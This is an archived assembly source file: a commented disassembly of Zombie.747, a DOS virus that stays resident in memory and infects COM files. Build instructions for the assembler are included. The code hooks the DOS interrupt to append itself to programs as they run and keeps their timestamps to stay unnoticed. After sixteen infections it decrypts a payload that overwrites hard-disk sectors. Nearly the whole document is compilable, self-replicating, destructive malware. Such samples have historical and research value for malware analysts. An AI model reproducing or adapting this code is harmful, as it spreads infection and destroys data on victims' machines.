home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK3.ZIP / Cdbkutl / Source / Zombie747.asm < prev   
Encoding:
Assembly Source File  |  1998-01-23  |  12.5 KB  |  433 lines

  1.    Zombie.747
  2.                  Disassembly by
  3.                   Darkman/29A
  4.  
  5.   Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
  6.   load and execute program, except COMMAND.COM, by appending the virus to the
  7.   infected COM file.
  8.  
  9.   To compile Zombie.747 with Turbo Assembler v 4.0 type:
  10.     TASM /M ZOMBI747.ASM
  11.     TLINK /t /x ZOMBI747.OBJ
  12. *
  13.  
  14. .model tiny
  15. .code
  16.  org   100h                 ; Origin of Zombie.747
  17.  
  18. code_begin:
  19.          call    crypt_virus
  20.  
  21.          nop
  22.          nop
  23.          nop
  24.          nop
  25.          nop
  26. virus_begin:
  27.          call    delta_offset
  28. delta_offset:
  29.          pop     bp          ; Load BP from stack
  30.          sub     bp,03h         ; BP = delta offset
  31.  
  32.          jmp     virus_begin_
  33. stack_end:
  34. stack_         db      7ah dup(?)      ; Stack
  35. stack_begin:
  36. int21_addr   dd      ?             ; Address of interrupt 21h
  37. virus_seg    dw      ?             ; Segment of virus
  38. stack_seg    dw      ?             ; Stack segment
  39. stack_ptr    dw      ?             ; Stack pointer
  40. infect_off   dw      offset infect_file-offset virus_begin
  41. infect_mark  db      04h dup(?)      ; infection mark
  42. infect_count dw      ?             ; Infection counter
  43. virus_offset equ     word ptr $+01h     ; Offset of virus
  44. infect_code  db      0e9h,?,?         ; JMP imm16 (opcode 0e9h)
  45. origin_code  db      0cdh,20h,?      ; Original code of infected file
  46. code_begin_  dw      100h         ; Offset of beginning of code
  47.  
  48. int21_virus  proc    near         ; Interrupt 21h of Zombie.747
  49.          pushf             ; Save flags at stack
  50.          cmp     ax,4b00h         ; Load and execute program?
  51.          je      load_and_exe     ; Equal? Jump to load_and_exe
  52.  
  53.          cmp     ax,4b69h         ; Zombie.747 function?
  54.          je      virus_functi     ; Equal? Jump to virus_functi
  55.          popf             ; Load flags from stack
  56.  
  57.          jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
  58.          endp
  59. virus_functi:
  60.          mov     bx,ax         ; Already resident
  61.  
  62.          popf             ; Load flags from stack
  63.  
  64.          iret             ; Interrupt return!
  65. load_and_exe:
  66.          mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
  67.  
  68.          call    setup_stack
  69.  
  70.          popf             ; Load flags from stack
  71.  
  72.          jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
  73.  
  74. setup_stack  proc    near         ; Setup stack of the virus
  75.          mov     cs:[offset stack_seg-offset virus_begin],ss
  76.          mov     cs:[offset stack_ptr-offset virus_begin],sp
  77.  
  78.          mov     ss,cs:[offset virus_seg-offset virus_begin]
  79.          mov     sp,offset stack_begin-offset virus_begin
  80.  
  81.          push    ax bx cx dx es ds si di bp
  82.  
  83.          call    cs:[offset infect_off-offset virus_begin]
  84.  
  85.          cmp     word ptr cs:[offset infect_count-offset virus_begin],10h
  86.          jbe     load_stack      ; Below or equal? Jump to load_stack
  87.  
  88.          call    payload
  89. load_stack:
  90.          pop     bp di si ds es dx cx bx ax
  91.  
  92.          mov     ss,cs:[offset stack_seg-offset virus_begin]
  93.          mov     sp,cs:[offset stack_ptr-offset virus_begin]
  94.  
  95.          ret             ; Return!
  96.          endp
  97.  
  98. payload      proc    near         ; Payload of the virus
  99.          mov     si,offset crypt_begin-offset virus_begin
  100.          mov     cx,(crypt_end-crypt_begin)
  101. decrypt_loop:
  102.          not     byte ptr [si]     ; Decrypt a byte
  103.  
  104.          inc     si          ; Increase index register
  105.  
  106.          loop    decrypt_loop
  107. crypt_begin:
  108.          mov     ax,303h         ; Write disk sector(s)
  109.          db      31h,0dbh         ; XOR BX,BX
  110.          mov     es,bx         ; ES:BX = pointer to data buffer
  111.          mov     cx,02h         ; CX = sector- and cylinder number
  112.          mov     dx,80h         ; DX = drive- and head number
  113.          int     13h
  114. crypt_end:
  115.          mov     si,offset crypt_begin-offset virus_begin
  116.          mov     cx,(crypt_end-crypt_begin)
  117. encrypt_loop:
  118.          not     byte ptr [si]     ; Encrypt a byte
  119.  
  120.          inc     si          ; Increase index register
  121.  
  122.          loop    encrypt_loop
  123.  
  124.          ret             ; Return!
  125.          endp
  126.  
  127. examine_file proc    near         ; Examine file
  128.          cld             ; Clear direction flag
  129. find_dot:
  130.          lodsb             ; AL = byte of filename
  131.          cmp     al,'.'              ; Found the dot in the filename
  132.          je      examine_fil_     ; Equal? Jump to examine_fil_
  133.  
  134.          or      al,al         ; End of filename?
  135.          loopnz  find_dot         ; Not zero? Jump to find_dot
  136.          jz      examine_exit     ; Zero? Jump to examine_exit
  137. examine_fil_:
  138.          mov     ax,[si-06h]     ; AX = word of filename
  139.          or      ax,2020h         ; Lowcase word of filename
  140.          cmp     ax,'mm'             ; COMMAND.COM?
  141.          je      examine_exit     ; Equal? Jump to examine_exit
  142.  
  143.          lodsw             ; AX = word of extension
  144.          or      ax,2020h         ; Lowcase word of extension
  145.          cmp     ax,'oc'             ; Correct extension?
  146.          jne     examine_exit     ; Not equal? Jump to examine_exit
  147.  
  148.          lodsb             ; AL = byte of extension
  149.          or      al,20h         ; Lowcase byte of extension
  150.          cmp     al,'m'              ; Correct extension?
  151.          jne     examine_exit     ; Not equal? Jump to examine_exit
  152.  
  153.          clc             ; Clear carry flag
  154.  
  155.          ret             ; Return!
  156. examine_exit:
  157.          stc             ; Set carry flag
  158.  
  159.          ret             ; Return!
  160.          endp
  161.  
  162. set_file_pos proc    near         ; Set current file position
  163.          xor     cx,cx         ; Zero CX
  164.          or      dx,dx         ; Zero DX?
  165.          jns     set_file_po_     ; Positive? Jump to set_file_po_
  166.  
  167.          not     cx          ; Invert each bit of low-order wor...
  168. set_file_po_:
  169.          mov     ah,42h         ; Set current file position
  170.          int     21h
  171.  
  172.          ret             ; Return!
  173.          endp
  174.  
  175. infect_file  proc    near         ; Infect COM file
  176.          mov     si,dx         ; SI = offset of filename
  177.          call    examine_file
  178.          jnc     open_file         ; No error? Jump to open_file
  179.  
  180.          jmp     infect_exit_
  181. open_file:
  182.          mov     ax,3d02h         ; Open file (read/write)
  183.          int     21h
  184.          jnc     read_file         ; No error? Jump to read_file
  185.  
  186.          jmp     infect_exit_
  187. read_file:
  188.          mov     bx,ax         ; BX = file handle
  189.  
  190.          mov     dx,cs         ; DX = code segment
  191.          mov     ds,dx         ; DS "  "      "
  192.  
  193.          mov     ah,3fh         ; Read from file
  194.          mov     cx,03h         ; Read three bytes
  195.          mov     dx,offset origin_code-offset virus_begin
  196.          int     21h
  197.          jnc     examine_mark     ; No error? Jump to examine_mark
  198.  
  199.          jmp     close_file
  200. examine_mark:
  201.          mov     dx,-28h         ; DX = low-order word of offset fr...
  202.          mov     al,02h         ; Set current file position (EOF)
  203.          call    set_file_pos
  204.          jc      close_file      ; Error? Jump to close_file
  205.  
  206.          nop
  207.          nop
  208.          nop
  209.  
  210.          mov     ah,3fh         ; Read from file
  211.          mov     cx,04h         ; Read four bytes
  212.          mov     dx,offset infect_mark-offset virus_begin
  213.          int     21h
  214.          jc      close_file      ; Error? Jump to close_file
  215.  
  216.          nop
  217.          nop
  218.          nop
  219.  
  220.          cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
  221.          jne     calc_offset     ; Not equal? Jump to calc_offset
  222.  
  223.          nop
  224.          nop
  225.          nop
  226.  
  227.          cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
  228.          je      close_file      ; Previosly infected? Jump to clos...
  229.  
  230.          nop
  231.          nop
  232.          nop
  233. calc_offset:
  234.          xor     dx,dx         ; Zero DX
  235.          mov     al,02h         ; Set current file position (EOF)
  236.          call    set_file_pos
  237.          jc      close_file      ; Error? Jump to close_file
  238.  
  239.          nop
  240.          nop
  241.          nop
  242.  
  243.          sub     ax,03h         ; AX = offset of virus
  244.          mov     ds:[offset virus_offset-offset virus_begin],ax
  245.  
  246.          mov     ax,5700h         ; Get file's date and time
  247.          int     21h
  248.          push    cx dx         ; Save registers at stack
  249.  
  250.          mov     ah,40h         ; Write to file
  251.          mov     cx,(code_end-virus_begin)
  252.          xor     dx,dx         ; Zero DX
  253.          int     21h
  254.          jc      infect_exit     ; Error? Jump to infect_exit
  255.  
  256.          nop
  257.          nop
  258.          nop
  259.  
  260.          cmp     cx,ax         ; Written all of the virus?
  261.          jne     infect_exit     ; Not equal? Jump to infect_exit
  262.  
  263.          nop
  264.          nop
  265.          nop
  266.  
  267.          mov     al,00h         ; Set current file position (SOF)
  268.          xor     dx,dx         ; Zero DX
  269.          call    set_file_pos
  270.          jc      infect_exit     ; Error? Jump to infect_exit
  271.  
  272.          nop
  273.          nop
  274.          nop
  275.  
  276.          mov     ah,40h         ; Write to file
  277.          mov     cx,03h         ; Write three bytes
  278.          mov     dx,offset infect_code-offset virus_begin
  279.          int     21h
  280.          jc      infect_exit     ; Error? Jump to infect_exit
  281.  
  282.          nop
  283.          nop
  284.          nop
  285. infect_exit:
  286.          inc     word ptr cs:[offset infect_count-offset virus_begin]
  287.  
  288.          mov     ax,5701h         ; Set file's date and time
  289.          pop     dx cx         ; Load registers from stack
  290.          int     21h
  291. close_file:
  292.          mov     ah,3eh         ; Close file
  293.          int     21h
  294. infect_exit_:
  295.          ret             ; Return!
  296.          endp
  297.  
  298. get_psp_own  proc    near         ; Get PSP segment of owner or spec...
  299.          mov     ah,52h         ; Get list of lists
  300.          int     21h
  301.          mov     bx,es:[bx-02h]     ; BX = segment of first memory con...
  302.  
  303.          mov     es,bx         ; ES =    "    "    "     "      "
  304.          mov     bx,es:[01h]     ; BX = PSP segment of owner or spe...
  305.  
  306.          ret             ; Return!
  307.          endp
  308.  
  309. allocate_mem proc    near         ; Allocate memory
  310.          push    es          ; Save ES at stack
  311.  
  312.          mov     ax,cs         ; AX = segment of PSP for current ...
  313.          dec     ax          ; AX = segment of Memory Control B...
  314.          mov     es, ax         ; ES =    "    "    "       "     "
  315.  
  316.          mov     bx,es:[03h]     ; BX = size of memory block in par...
  317.          pop     es          ; Load ES from stack
  318.  
  319.          sub     bx,cx         ; Subtract number of paragraphs to...
  320.          dec     bx          ; BX = new size in paragraphs
  321.          mov     ah,4ah         ; Resize memory block
  322.          int     21h
  323.          jc      allocat_exit     ; Error? Jump to allocat_exit
  324.  
  325.          nop
  326.          nop
  327.          nop
  328.  
  329.          mov     ah,48h         ; Allocate memory
  330.          mov     bx,cx         ; BX = number of paragraphs to all...
  331.          int     21h
  332.          jc      allocat_exit     ; Error? Jump to allocat_exit
  333.  
  334.          nop
  335.          nop
  336.          nop
  337.  
  338.          push    ax          ; Save AX at stack
  339.          dec     ax          ; AX = segment of Memory Control B...
  340.          mov     es,ax         ; ES =    "    "    "       "     "
  341.  
  342.          push    es          ; Save ES at stack
  343.          call    get_psp_own
  344.          pop     es          ; Load ES from stack
  345.  
  346.          mov     es:[01h],bx     ; Store PSP segment of owner or sp...
  347.          pop     es          ; Load ES from stack
  348.  
  349.          clc             ; Clear carry flag
  350. allocat_exit:
  351.          ret             ; Return!
  352.          endp
  353. virus_begin_:
  354.          mov     ax,4b69h         ; Zombie.747 function
  355.          xor     bx,bx         ; Zero BX
  356.          int     21h
  357.          cmp     bx,4b69h         ; Already resident?
  358.          je      virus_exit      ; Equal? Jump to virus_exit
  359.  
  360.          nop
  361.          nop
  362.          nop
  363.  
  364.          mov     cx,(data_end-virus_begin+0fh)/10h
  365.          call    allocate_mem
  366.          jc      virus_exit      ; Error? Jump to virus_exit
  367.  
  368.          nop
  369.          nop
  370.          nop
  371.  
  372.          mov     si,bp         ; SI = delta offset
  373.          xor     di,di         ; Zero DI
  374.          mov     cx,(code_end-virus_begin)
  375.          cld             ; Clear direction flag
  376.          rep     movsb         ; Move virus to top of memory
  377.  
  378.          mov     es:[offset virus_seg-offset virus_begin],es
  379.  
  380.          push    es          ; Save ES at stack
  381.          mov     ax,3521h         ; Get interrupt vector 21h
  382.          int     21h
  383.          mov     dx,es         ; DX = segment of interrupt 21h
  384.          pop     es          ; Load ES from stack
  385.  
  386.          mov     word ptr es:[offset int21_addr-offset virus_begin],bx
  387.          mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx
  388.  
  389.          mov     ax,2521h         ; Set interrupt vector 21h
  390.  
  391.          push    es          ; Save ES at stack
  392.          pop     ds          ; Load DS from stack (ES)
  393.  
  394.          mov     dx,offset int21_virus-offset virus_begin
  395.          int     21h
  396. virus_exit:
  397.          mov     ax,cs         ; AX = segment of PSP for current ...
  398.          mov     ds,ax         ; DS =    "    "   "   "     "     "
  399.          mov     es,ax         ; ES =    "    "   "   "     "     "
  400.  
  401.          lea     si,origin_code     ; SI = offset of origin_code
  402.          sub     si,offset virus_begin
  403.          add     si,bp         ; Add delta offset to offset of co...
  404.  
  405.          mov     di,100h         ; DI = offset of beginning of code
  406.          mov     cx,03h         ; Move three bytes
  407.          cld             ; Clear direction flag
  408.          rep     movsb         ; Move the original code to beginning
  409.  
  410.          lea     bx,code_begin_     ; BX = offset of code_begin_
  411.          sub     bx,offset virus_begin
  412.          add     bx,bp         ; Add delta offset to offset of co...
  413.  
  414.          jmp     [bx]
  415.  
  416.          db      'Zombie - Danish woodoo hackers (14AUG91)'
  417. code_end:
  418. data_end:
  419. crypt_virus  proc             ; Encrypt payload of the virus
  420.          lea     si,crypt_begin     ; SI = offset of crypt_begin
  421.          mov     cx,(crypt_end-crypt_begin)
  422. crypt_loop:
  423.          not     byte ptr [si]     ; Encrypt a byte
  424.  
  425.          inc     si          ; Increase index register
  426.  
  427.          loop    crypt_loop
  428.  
  429.          ret             ; Return!
  430.          endp
  431.  
  432. end         code_begin
  433.